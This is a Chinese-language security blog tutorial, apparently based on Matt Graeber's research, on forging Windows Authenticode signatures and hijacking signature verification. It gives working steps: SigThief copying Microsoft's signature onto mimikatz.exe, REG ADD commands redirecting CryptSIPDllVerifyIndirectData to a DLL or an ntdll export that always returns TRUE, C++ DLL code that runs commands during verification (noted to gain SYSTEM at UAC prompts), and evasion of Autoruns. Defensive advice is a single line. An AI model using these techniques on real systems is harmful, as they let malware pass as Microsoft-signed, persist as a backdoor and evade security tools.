Authenticode 签名伪造——PE 文件的签名伪造与签名验证劫持

发布于 2024-10-16 03:36:04 字数 11664 浏览 0 评论 0

0x00 前言

在上一篇文章 《CAT 文件数字签名使用技巧》 介绍了证书签名的基础知识,Windows 系统下向文件签名有两种方法:添加在文件末尾(Authenticode) 和 CAT 文件(catalog),本文将介绍 Authenticode 签名的相关利用技巧——PE 文件的签名伪造与签名验证劫持

注:本文介绍的技巧参考自 Matt Graeber@mattifestation 公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。

参考资料:

0x01 简介

本文将要介绍以下内容:

  • PE 文件的 Authenticode 签名伪造
  • 劫持签名验证过程,实现代码执行,作为后门

0x02 PE 文件的签名伪造

Authenticode 的详细说明文档可参考:http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx

部分系统文件会包含微软的签名,例如 C:\Windows\System32\consent.exe

通过文件属性能够看到相关签名信息,如下图

Alt text

通过 powershell 验证,代码如下:

Get-AuthenticodeSignature C:\Windows\System32\consent.exe

如下图

Alt text

借助工具 CFF Explorer 获取文件结构,如下图

Alt text

Security Directory RVA 代码数字签名在 PE 文件中的偏移位置 Security DirectorySize 代表数字签名的长度

将这部分内容提取,复制到另一个文件 test.exe 的尾部,同时使用 CFF Explorer 修改 test.exe 对应的 Security Directory RVASecurity DirectorySize

这样,就实现了数字签名的伪造

开源工具 SigThief 可自动实现以上过程,地址如下:https://github.com/secretsquirrel/SigThief

实际测试:

测试系统: Win7

C:\Windows\System32\consent.exe 的数字签名复制到 mimikatz.exe 中

参数如下:

sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o si.exe

生成 si.exe,具有微软数字签名,但提示证书无效,如下图

Alt text

注:部分测试系统无法使用 sigthief.py,提示找不到 0x9,将系统激活即可

通过 powershell 验证,代码如下:

Get-AuthenticodeSignature .\si.exe

显示 HashMismatch,如下图

Alt text

通过 signtool.exe 验证:

signtool.exe verify /v si.exe

显示 SignTool Error: WinVerifyTrust returned error: 0x80096010 ,如下图

Alt text

通过 sigcheck.exe 验证:

sigcheck.exe -q si.exe

显示 The digital signature of the object did not verify ,如下图

Alt text

0x03 修改配置,使签名通过验证

查看 Get-AuthenticodeSignature 的帮助说明:

Get-Help Get-AuthenticodeSignature -Full

查看相关操作 Set-AuthenticodeSignature 的帮助说明:

Get-Help Set-AuthenticodeSignature -Full

发现该命令的功能:

The Set-AuthenticodeSignature cmdlet adds an Authenticode signature to any file that supports Subject Interface Package (SIP).

关于 SIP 的资料,可参考:https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/

获得有用的信息:

There are some included as part of the OS (at least on Vista). Locate in the %WINDIR%\System32 directory. They usually have a naming ending with sip.dll, i.e. msisip.dll is the Microsoft Installer (.msi) SIP.

寻找 Windows 下的 SIP:

ls C:\Windows\System32\*sip.dll -Recurse -ErrorAction SilentlyContinue

Win7 下只有一个: C:\Windows\System32\msisip.dll

注:Matt Graeber 的测试系统为 Win10,可以找到多个 dll

使用 IDA 打开该 dll,查看函数 DllRegisterServer()

如下图

Alt text

找到一个特别的名称 MsiSIPVerifyIndirectData,字面意思像是签名验证功能

查找资料,找到该函数,地址如下:https://msdn.microsoft.com/en-us/library/windows/desktop/cc542591%28v=vs.85%29.aspx

发现该函数,返回 TRUE 代表验证成功,返回 FALSE 代表验证失败

该功能对应注册表键值,位置如下:

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\

如下图

Alt text

不同 GUID 对应不同文件格式的验证,例如:

  • C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
  • DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat 文件
  • 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl 文件
  • C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab 文件

注:GUID 说明引用自 《Subverting Trust in Windows》 Page4

接下来,尝试替换 HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE} 下的 dll 和 FuncName

通过 c++实现,创建 dll,添加导出函数,格式参照 CryptSIPVerifyIndirectData ,代码如下:

BOOL WINAPI CryptSIPVerifyIndirectData(SIP_SUBJECTINFO *pSubjectInfo, SIP_INDIRECT_DATA *pIndirectData)
{
    return TRUE;
}

编译生成 signtest.dll

修改注册表:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\signtest.dll" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "CryptSIPVerifyIndirectData" /f

重新启动 cmd,使用 powershell 进行验证:

Get-AuthenticodeSignature .\si.exe

显示 Valid,校验成功

如下图

Alt text

通过 signtool.exe 验证:

signtool.exe verify /v si.exe

验证通过

通过 sigcheck.exe 验证:

sigcheck.exe -q si.exe

验证通过,如下图

Alt text

重启 explorer.exe,查看文件属性,签名状态,显示签名生效,如下图

Alt text

更进一步, dll 一定要固定格式吗?

于是进行接下来的测试:

导出函数名为 test1,完整代码如下:

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    return TRUE;
}
BOOL WINAPI test1() 
{
    return TRUE;
}

修改对应注册表键值:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\signtest.dll" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "test1" /f

测试仍能够绕过验证

这就说明,只要 dll 的导出函数返回 TRUE,就能够绕过验证

所以,可以查找系统默认的 dll,找到一个导出函数返回 true 即可(当然,此处可供利用的导出函数有很多)

例如 "C:\Windows\System32\ntdll.dll"

导出函数: DbgUiContinue

代码如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

这样,就不需要在系统上留下自己编写的 dll

对于 64 位系统,存在 32 位的注册表键值

如果使用 32 位的程序,如 32 位的 signtool 和 sigcheck,为了绕过验证,还需要修改 32 位的注册表键值,对应代码如下:

REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f

REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

0x04 签名验证劫持

修改注册表,编写 dll 实现对签名验证过程的绕过,如果我们在 dll 的导出函数里面加入自己的代码,这就实现了签名验证劫持

在签名验证中加入执行代码:

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    return TRUE;
}
BOOL WINAPI test1() 
{
    WinExec("calc.exe",SW_SHOWNORMAL);
    return TRUE;
}

只要涉及签名验证的操作,加载我们自己的 dll,就会弹出计算器

以下程序会使用签名验证操作:

  • DllHost.exe - When the “Digital Signatures” tab is displayed in file properties
  • Process Explorer - When the “Verified Signer” tab is displayed
  • Autoruns
  • Sigcheck
  • consent.exe - Any time a UAC prompt is displayed
  • signtool.exe
  • smartscreen.exe
  • Get-AuthenticodeSignature
  • Set-AuthenticodeSignature
  • Security vendor software that performs certificate validation based on calls to WinVerifyTrust.

注:该处引用自 《Subverting Trust in Windows》 Page33

例如,查看文件属性-数字签名详细信息,加载 dll,弹出计算器,如下图

Alt text

特别的,以管理员权限执行程序会弹出 UAC,如果对此进行劫持,此时的权限为 system

完整操作如下图

Alt text

补充:

1、dll 劫持

有些 GUID,默认注册表的 dll 路径为相对路径,这里就存在 dll 劫持的问题,不需要修改注册表也能实现绕过签名验证

2、Hiding from Autoruns

启动项检测工具 Autoruns 默认不显示带有微软签名的文件,如下图

Alt text

如果文件包含微软签名,默认不会显示在 Autoruns 面板

0x05 防御建议

部分白名单程序默认会信任带有微软证书的文件,这里就存在隐患

建议不要盲目相信证书

0x06 小结

本文介绍了 Authenticode 签名的相关利用技巧——PE 文件的签名伪造与签名验证劫持,下一篇文章将继续介绍 Authenticode 签名的伪造技巧——针对文件类型的签名伪造。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

唐婉

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

5621726425

文章 0 评论 0

gaoxl85

文章 0 评论 0

调妓

文章 0 评论 0

qq_CgiN62

文章 0 评论 0

朱染

文章 0 评论 0

断爱

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文